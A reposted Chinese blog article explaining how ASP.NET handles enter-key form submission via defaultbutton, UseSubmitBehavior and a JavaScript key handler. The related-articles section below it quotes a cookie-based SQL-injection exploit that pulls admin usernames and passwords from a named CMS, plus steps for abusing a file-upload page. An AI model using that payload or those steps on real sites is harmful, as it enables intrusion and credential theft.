ASP.NET回车提交事务

浅析ASP.NET回车提交事件[转]

ASP.NET回车提交事件其实说到底并不是ASP.NET 的编程问题,却是关于html form 中的submit 按钮就是如何规划的具体讨论。
也可归于ASP.NET编程的一部分,那么ASP.NET回车提交事件的具体实现是怎么样的呢?下面我们具体的看下:

ASP.NET回车提交事件实现1、

当你的光标焦点进入某个表单元素的时候,会激活该表单中第一个(流布局顺从左到右,从上至下) type=submit
的按钮(假如有),等待响应回车事件,并提交该form

你可以测试一下代码:

  1. ﹤form action=""﹥

  2. ﹤input type="text" /﹥

  3. ﹤input type="submit" value="submit" /﹥

  4. ﹤/form﹥

  5. ﹤form action=""﹥

  6. ﹤input type="text" /﹥

  7. ﹤input type="button" value="submit" /﹥

  8. ﹤/form﹥

ASP.NET回车提交事件实现2.

在 ASP.NET 2.0 中 button 默认呈现为 ﹤input type=submit﹥ 此时不要额外脚本提交form ,submit
按钮就是设计用来提交form 而在 1.x 中则呈现为 ﹤input type=button onclick=_doPostBack(...) /﹥ 此普通
button 不具备 submit 的上述默认行为

ASP.NET回车提交事件实现3. 禁用此默认行为有法二

(1)设置 form 元素的 defualtButton 为你希望响应回车的真正按钮如下

  1. ﹤form id="form1"
  2. runat="server"
  3. defaultbutton="Button1"﹥

注意 defaultButton = ﹤ ﹤TargetButton.ID﹥﹥ 因此这对复合控件中比如模板的 Button 可能无效(未测试)

(2)修改 button 呈现方式 UseSubmitBehavior="false"

  1. ﹤asp:Button ID="Button1"
  2. runat="server" Text="Button"
  3. onclick="Button1_Click"
  4. UseSubmitBehavior="false" /﹥

另外可以通过控制焦点的方式,过滤回车实践,需要记录一笔的是,获取当前页面焦点所在控件的ID:

  1. document.activeElement

对于ASP.NET.我们在TextBox1中输入内容后,按下enter键后,就执行Button1的click方法。那么在page_load事件方法中写。

  1. TextBox1.Attributes.Add("onkeydown",
  2. "if(event.which || event.keyCode){
  3. if ((event.which == 13) || (event.keyCode == 13)) {
  4. document.getElementById(‘"+
  5. Button1.UniqueID+"‘).click();return false;}}
  6. else {return true}; ");

有ASP.NET里面用了form runat=server的表单的时候,里面的﹤asp:button ..
总不能按个回车提交表单,很是不爽。
现在终于发现了一个属性可以干这个事情,用 this.Form.DefaultButton =
"ContentPlaceHolder1$btsubmit";
值得注意的是,如果用了masterPage(母板页),那么要在按钮ID前加上母板的ID:ContentPlaceHolderID和一个美元符($)

C#实现代码如下:

  1. ﹤%@ Page Language="C#"

  2. MasterPageFile="~/MasterPage.master"

  3. AutoEventWireup="true"

  4. CodeFile="login.aspx.cs"

  5. Inherits="login" %﹥

  6. ﹤asp:Content ID="Content1"

  7. ContentPlaceHolderID="ContentPlaceHolder1"

  8. Runat="Server"﹥

  9. ﹤asp:TextBox runat="server"

  10. ID="wd" ﹥﹤/asp:TextBox﹥

  11. ﹤asp:Button ID="btsubmit"

  12. runat="server" Text="提交"

  13. OnClick="btsubmit_Click" /﹥

  14. ...........................

  15. ﹤/asp:Content﹥

(1)含母板页的类中:

  1. protected void Page_Load(object sender, EventArgs e)

  2. {

  3. this.Form.DefaultButton = "ContentPlaceHolder1$btsubmit";

  4. }

或者在内容页

  1. protected void Page_Load(object sender, EventArgs e)

  2. {

  3. this.Page.Form.DefaultButton = "ContentPlaceHolder1$btsubmit";

  4. }

(2)非母板页的类中:

  1. protected void Page_Load(object sender, EventArgs e)

  2. {

  3. this.Form.DefaultButton = "btsubmit";

  4. }

ASP.NET回车提交事件的具体情况就向你介绍到这里,希望对你了解和学习ASP.NET回车提交事件有所帮助。

ASP.NET回车提交事务,布布扣,bubuko.com

时间: 2024-07-30 04:54:26

ASP.NET回车提交事务的相关文章

漏洞集合

启航企业建站系统 cookie注入漏洞通杀所有版本 直接上exploit:javascript:alert(document.cookie="id="+escape("1 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));test:http://www.tb11.net/system/xitong/shownews.asp?id=210---------------------

常用的主流WEB漏洞,EXP合集

启航企业建站系统 cookie注入漏洞通杀所有版本 直接上exploit:javascript:alert(document.cookie="id="+escape("1 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));test:http://www.hackernc.com/system/xitong/shownews.asp?id=210-----------------

大金分享常用的主流WEB漏洞,EXP合集

启航企业建站系统 cookie注入漏洞通杀所有版本 直接上exploit:javascript:alert(document.cookie="id="+escape("1 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));test:http://www.33ddos.com/system/xitong/shownews.asp?id=210-------------------

文件上传漏洞检查方法

第一步,搜索存在漏洞的博客 找到任意一个目标后,首先要测试博客管理员是否将上传网页程序文件删除了,如果用户有一些安全意识,有可能会将默认的上传网页文件删除掉,这时就不行了. 我们选“https://home.cnblogs.com” ,在地址后添加“/upfile.asp”后回车,如果看到的提示信息为“Microsoft VBScript运行时错误 错误‘800a01b6’”之类的信息,表示该博客网站存在着文件上传漏洞. 第二步,展开攻击 运行“网站上传利用工具”,在“提交地址”中输入upfil

大家好

http://www.yugaopian.com/people/259723 http://www.yugaopian.com/people/259744 http://www.yugaopian.com/people/259783 http://www.yugaopian.com/people/259824 http://www.yugaopian.com/people/259839 http://www.yugaopian.com/people/259933 http://www.yugao

阿哥吗卡怪每次哦阿哥看啦过啦嘎开吃麻辣个啊蓝光

http://www.xx186.com/web/web_kpic.asp?id=156613http://www.xx186.com/web/web_kpic.asp?id=156608http://www.xx186.com/web/web_kpic.asp?id=156605http://www.xx186.com/web/web_kpic.asp?id=156602http://www.xx186.com/web/web_kpic.asp?id=156600http://www.xx18

风格更家霍建华

http://www.9ku.com/fuyin/daogaoo.asp?dgid=119864http://www.9ku.com/fuyin/daogaoo.asp?dgid=119867http://www.9ku.com/fuyin/daogaoo.asp?dgid=119876http://www.9ku.com/fuyin/daogaoo.asp?dgid=119879http://www.9ku.com/fuyin/daogaoo.asp?dgid=119883http://www

,了可美军以本合同个v分

http://shike.gaotie.cn/zhan.asp?zhan=%A1%FE%CE%F7%B0%B2%B8%B4%B7%BD%B5%D8%B7%D2%C5%B5%F5%A5%C6%AC%C4%C4%C0%EF%C2%F2Q%A3%BA%A3%B1%A3%B1%A3%B2%A3%B7%A3%B4%A3%B0%A3%B1%A3%B1%A3%B7%A3%B5%A1%F4 http://shike.gaotie.cn/zhan.asp?zhan=%A8%7D%CD%AD%B4%A8%B8%B4

解决ASP.NET页面回车回发的问题

在asp.net页面中在文本框.按钮等服务器控件上回车都会导致页面回发,网上很多解决方案是使用JS来进行event.keyCode==13判断是否按下的回车键,如果是就event.returnValue = false;  但是这只能适用于IE,有些浏览器是不支持event.keyCode的,例如:火狐就是使用evt.which. 这里给大家一个方案,使用后感觉还行,如果有问题请多多包涵,给出建议: 页面代码: <%@ Page Language="C#" AutoEventWi